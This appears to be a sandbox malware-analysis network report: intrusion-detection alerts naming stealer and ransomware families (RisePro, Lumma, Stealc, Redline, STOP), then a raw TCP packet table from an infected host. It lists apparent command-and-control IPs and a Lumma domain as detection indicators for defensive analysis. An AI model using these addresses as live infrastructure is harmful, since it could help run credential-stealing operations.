05/24/24-09:42:58.487336	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49907	147.45.47.126	192.168.2.4
05/24/24-09:42:58.718400	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49907	147.45.47.126	192.168.2.4
05/24/24-09:42:24.732558	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49809	80	192.168.2.4	185.172.128.170
05/24/24-09:43:43.184361	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	50022	5.42.67.8	192.168.2.4
05/24/24-09:43:18.437591	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49987	443	192.168.2.4	188.114.96.3
05/24/24-09:42:58.559823	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49910	443	192.168.2.4	188.114.96.3
05/24/24-09:42:52.883403	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49879	147.45.47.126	192.168.2.4
05/24/24-09:43:11.555269	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49950	443	192.168.2.4	188.114.97.3
05/24/24-09:42:55.556497	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49879	147.45.47.126	192.168.2.4
05/24/24-09:43:13.235412	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49961	443	192.168.2.4	188.114.96.3
05/24/24-09:42:20.067736	TCP	2049837	ET TROJAN Suspected PrivateLoader Activity (POST)	49805	80	192.168.2.4	85.192.56.26
05/24/24-09:43:15.514432	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49974	443	192.168.2.4	188.114.96.3
05/24/24-09:43:16.240894	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49978	443	192.168.2.4	188.114.96.3
05/24/24-09:43:15.039126	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49971	443	192.168.2.4	188.114.96.3
05/24/24-09:42:03.533360	TCP	2049837	ET TROJAN Suspected PrivateLoader Activity (POST)	49730	80	192.168.2.4	85.192.56.26
05/24/24-09:43:01.980195	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49925	443	192.168.2.4	188.114.96.3
05/24/24-09:42:24.929053	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49809	185.172.128.170	192.168.2.4
05/24/24-09:42:34.498978	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49822	58709	192.168.2.4	147.45.47.126
05/24/24-09:43:19.212032	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49988	147.45.47.126	192.168.2.4
05/24/24-09:42:50.287612	TCP	2049837	ET TROJAN Suspected PrivateLoader Activity (POST)	49866	80	192.168.2.4	5.42.66.10
05/24/24-09:42:30.278077	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49814	5.42.65.116	192.168.2.4
05/24/24-09:43:09.948405	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49945	443	192.168.2.4	188.114.97.3
05/24/24-09:43:15.340352	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49963	125.7.253.10	192.168.2.4
05/24/24-09:43:17.588519	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49986	443	192.168.2.4	188.114.96.3
05/24/24-09:42:25.562680	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49815	5.42.65.116	192.168.2.4
05/24/24-09:42:34.133063	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49815	5.42.65.116	192.168.2.4
05/24/24-09:42:57.068173	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49903	443	192.168.2.4	188.114.96.3
05/24/24-09:43:12.746661	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49956	443	192.168.2.4	188.114.96.3
05/24/24-09:42:25.684690	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49814	5.42.65.116	192.168.2.4
05/24/24-09:43:49.528147	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50038	443	192.168.2.4	188.114.96.3
05/24/24-09:42:53.667975	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49886	443	192.168.2.4	188.114.96.3
05/24/24-09:43:05.232194	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49930	443	192.168.2.4	188.114.97.3
05/24/24-09:43:20.679319	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49994	443	192.168.2.4	188.114.96.3
05/24/24-09:43:08.561298	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49937	443	192.168.2.4	188.114.97.3
05/24/24-09:42:41.924516	TCP	2046056	ET TROJAN Redline Stealer/MetaStealer Family Activity (Response)	40551	49835	5.42.65.115	192.168.2.4
05/24/24-09:42:22.706362	TCP	2839238	ETPRO TROJAN Blackmoon CnC Activity	49807	80	192.168.2.4	103.146.158.221
05/24/24-09:42:25.528791	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49809	185.172.128.170	192.168.2.4
05/24/24-09:42:58.311211	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49835	40551	192.168.2.4	5.42.65.115
05/24/24-09:42:58.851222	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49908	147.45.47.126	192.168.2.4
05/24/24-09:42:58.239086	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49909	443	192.168.2.4	188.114.96.3
05/24/24-09:43:52.805130	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50052	443	192.168.2.4	188.114.96.3
05/24/24-09:43:15.791278	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49972	5.42.67.8	192.168.2.4
05/24/24-09:42:59.079841	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49908	147.45.47.126	192.168.2.4
05/24/24-09:43:17.334234	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49985	443	192.168.2.4	188.114.96.3
05/24/24-09:43:05.813795	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49908	58709	192.168.2.4	147.45.47.126
05/24/24-09:43:05.125851	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49907	58709	192.168.2.4	147.45.47.126
05/24/24-09:43:33.027974	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50008	443	192.168.2.4	188.114.96.3
05/24/24-09:43:16.332557	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49979	443	192.168.2.4	188.114.96.3
05/24/24-09:43:11.799526	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49952	443	192.168.2.4	188.114.97.3
05/24/24-09:42:56.513874	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49902	443	192.168.2.4	188.114.96.3
05/24/24-09:42:24.916536	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49813	50500	192.168.2.4	5.42.67.8
05/24/24-09:43:12.681145	UDP	2052761	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop)	57884	53	192.168.2.4	1.1.1.1
05/24/24-09:43:13.990613	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49965	443	192.168.2.4	188.114.96.3
05/24/24-09:42:50.590851	UDP	2052761	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop)	54425	53	192.168.2.4	1.1.1.1
05/24/24-09:43:15.918080	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49976	443	192.168.2.4	188.114.96.3
05/24/24-09:42:34.607962	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	40551	49835	5.42.65.115	192.168.2.4
05/24/24-09:43:42.294015	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50021	443	192.168.2.4	188.114.96.3
05/24/24-09:43:12.371909	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49954	443	192.168.2.4	188.114.97.3
05/24/24-09:42:50.637798	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49873	443	192.168.2.4	188.114.96.3
05/24/24-09:42:56.337617	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49899	443	192.168.2.4	188.114.96.3
05/24/24-09:43:13.703003	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49962	443	192.168.2.4	188.114.96.3
05/24/24-09:43:13.845486	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49963	80	192.168.2.4	125.7.253.10
05/24/24-09:43:21.656441	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49996	443	192.168.2.4	188.114.96.3
05/24/24-09:43:50.453081	TCP	2041922	ET MALWARE Win32/Adware.Neoreklami.MI Activity M2	50041	80	192.168.2.4	44.235.180.78
05/24/24-09:43:38.419246	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50016	443	192.168.2.4	188.114.96.3
05/24/24-09:43:54.875453	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50054	443	192.168.2.4	188.114.96.3
05/24/24-09:43:14.917367	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49970	443	192.168.2.4	188.114.96.3
05/24/24-09:42:55.886782	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49896	443	192.168.2.4	188.114.96.3
05/24/24-09:42:19.961876	TCP	2049837	ET TROJAN Suspected PrivateLoader Activity (POST)	49804	80	192.168.2.4	85.192.56.26
05/24/24-09:42:31.316511	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49822	147.45.47.126	192.168.2.4
05/24/24-09:42:31.088651	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49822	147.45.47.126	192.168.2.4
05/24/24-09:42:25.724410	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49813	5.42.67.8	192.168.2.4
05/24/24-09:43:15.809295	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49973	5.42.67.8	192.168.2.4
05/24/24-09:42:25.557976	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49813	5.42.67.8	192.168.2.4
05/24/24-09:43:10.780720	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49947	443	192.168.2.4	188.114.97.3
05/24/24-09:42:57.843831	UDP	2052761	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop)	50816	53	192.168.2.4	1.1.1.1
05/24/24-09:42:57.606740	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49904	443	192.168.2.4	188.114.96.3
05/24/24-09:43:14.553927	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49968	443	192.168.2.4	188.114.96.3
05/24/24-09:43:35.805357	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50013	443	192.168.2.4	188.114.96.3
05/24/24-09:42:55.425189	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49893	443	192.168.2.4	188.114.96.3
05/24/24-09:42:54.068218	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49890	443	192.168.2.4	188.114.96.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 09:41:52.687696934 CEST	49675	443	192.168.2.4	173.222.162.32
May 24, 2024 09:41:58.390633106 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:41:58.395623922 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:41:58.395711899 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:41:58.396104097 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:41:58.449429989 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:41:59.103802919 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:41:59.128361940 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.128444910 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.128554106 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.137459040 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.137509108 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.156327009 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:41:59.629116058 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.629220963 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.631611109 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.631638050 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.632071018 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.672048092 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.701142073 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.746500015 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.837997913 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.838118076 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.838299036 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.855367899 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.855369091 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 09:41:59.855436087 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.855521917 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 09:41:59.897149086 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:41:59.897250891 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:41:59.897345066 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:41:59.897574902 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:41:59.897593975 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.386476040 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.388132095 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:42:00.389213085 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:42:00.389239073 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.389761925 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.390629053 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:42:00.434515953 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.575877905 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.576240063 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:00.579777956 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:42:00.579777956 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:42:00.581533909 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 09:42:00.581577063 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 09:42:02.297111988 CEST	49675	443	192.168.2.4	173.222.162.32
May 24, 2024 09:42:02.756756067 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:02.756804943 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:02.762200117 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:02.766968012 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:03.310216904 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:03.359437943 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:03.533360004 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:03.533392906 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:03.538450956 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:03.543283939 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:04.177788019 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:04.177978992 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:04.178045988 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:04.181308985 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:04.184865952 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:04.184928894 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:04.236807108 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 09:42:04.236985922 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 09:42:04.380609989 CEST	49733	80	192.168.2.4	147.45.47.149
May 24, 2024 09:42:04.380688906 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:04.385251999 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:04.385924101 CEST	80	49733	147.45.47.149	192.168.2.4
May 24, 2024 09:42:04.386029959 CEST	49733	80	192.168.2.4	147.45.47.149
May 24, 2024 09:42:04.386579990 CEST	49733	80	192.168.2.4	147.45.47.149
May 24, 2024 09:42:04.400147915 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:04.402401924 CEST	49737	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:04.405709982 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:04.431296110 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:04.431315899 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:04.431361914 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:04.431399107 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:04.431566954 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:04.431699038 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:04.436342001 CEST	80	49733	147.45.47.149	192.168.2.4
May 24, 2024 09:42:04.441179037 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:04.441195011 CEST	80	49737	176.111.174.109	192.168.2.4
May 24, 2024 09:42:04.441206932 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:04.441291094 CEST	49737	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:04.441359997 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:04.441415071 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:04.441562891 CEST	49737	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:04.441860914 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:04.441997051 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:04.442048073 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:04.442064047 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:04.446115017 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:04.446130991 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:04.451462030 CEST	49741	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.457503080 CEST	80	49737	176.111.174.109	192.168.2.4
May 24, 2024 09:42:04.457515955 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:04.457528114 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:04.457540989 CEST	80	49740	93.186.225.194	192.168.2.4
May 24, 2024 09:42:04.457552910 CEST	80	49739	93.186.225.194	192.168.2.4
May 24, 2024 09:42:04.457643032 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:04.457777977 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:04.458309889 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:04.458566904 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:04.464199066 CEST	80	49741	188.114.97.3	192.168.2.4
May 24, 2024 09:42:04.464261055 CEST	49741	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.464483976 CEST	49741	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.469186068 CEST	80	49740	93.186.225.194	192.168.2.4
May 24, 2024 09:42:04.473973989 CEST	80	49739	93.186.225.194	192.168.2.4
May 24, 2024 09:42:04.474513054 CEST	49742	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.479372025 CEST	80	49741	188.114.97.3	192.168.2.4
May 24, 2024 09:42:04.527508974 CEST	80	49742	188.114.97.3	192.168.2.4
May 24, 2024 09:42:04.527581930 CEST	49742	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.527853012 CEST	49742	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.528317928 CEST	49743	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:04.565052032 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:04.569108963 CEST	80	49742	188.114.97.3	192.168.2.4
May 24, 2024 09:42:04.573834896 CEST	80	49743	146.70.56.165	192.168.2.4
May 24, 2024 09:42:04.574039936 CEST	49743	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:04.574131966 CEST	49743	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:04.578957081 CEST	80	49744	45.130.41.108	192.168.2.4
May 24, 2024 09:42:04.579164028 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:04.579164982 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:04.583795071 CEST	80	49743	146.70.56.165	192.168.2.4
May 24, 2024 09:42:04.588762999 CEST	80	49744	45.130.41.108	192.168.2.4
May 24, 2024 09:42:04.780813932 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:04.785898924 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:04.786233902 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:04.786233902 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:04.837544918 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:04.993175030 CEST	80	49742	188.114.97.3	192.168.2.4
May 24, 2024 09:42:04.993254900 CEST	49742	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.997884035 CEST	80	49742	188.114.97.3	192.168.2.4
May 24, 2024 09:42:04.997941971 CEST	49742	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.999017000 CEST	49742	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:04.999895096 CEST	49746	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.045439005 CEST	80	49742	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.092586040 CEST	80	49746	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.092632055 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.092667103 CEST	49746	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.092705011 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.093321085 CEST	49746	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.093413115 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.100295067 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.100352049 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.100584984 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.105257034 CEST	80	49746	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.110037088 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.132981062 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.133013010 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.133040905 CEST	80	49741	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.133069992 CEST	80	49739	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.133085966 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.133085966 CEST	49741	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.133264065 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.133290052 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.133853912 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.134191990 CEST	49747	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.135701895 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.135737896 CEST	443	49748	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.135796070 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.135970116 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.135977030 CEST	443	49748	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.137835979 CEST	80	49739	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.138011932 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.187546968 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.187596083 CEST	80	49737	176.111.174.109	192.168.2.4
May 24, 2024 09:42:05.187614918 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.187627077 CEST	80	49740	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.187655926 CEST	80	49740	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.187685013 CEST	80	49739	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.187688112 CEST	49737	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:05.187712908 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.187712908 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.187738895 CEST	49737	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:05.187841892 CEST	49739	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.188124895 CEST	49749	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:05.188199997 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.188239098 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.188467026 CEST	49750	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.215348005 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.215399027 CEST	80	49739	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.215432882 CEST	80	49747	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.215650082 CEST	49747	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.215739012 CEST	49747	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.263586044 CEST	80	49740	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.263644934 CEST	80	49737	176.111.174.109	192.168.2.4
May 24, 2024 09:42:05.263679028 CEST	80	49749	176.111.174.109	192.168.2.4
May 24, 2024 09:42:05.263709068 CEST	80	49740	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.263737917 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.263767958 CEST	80	49750	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.263861895 CEST	49749	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:05.263926983 CEST	49749	80	192.168.2.4	176.111.174.109
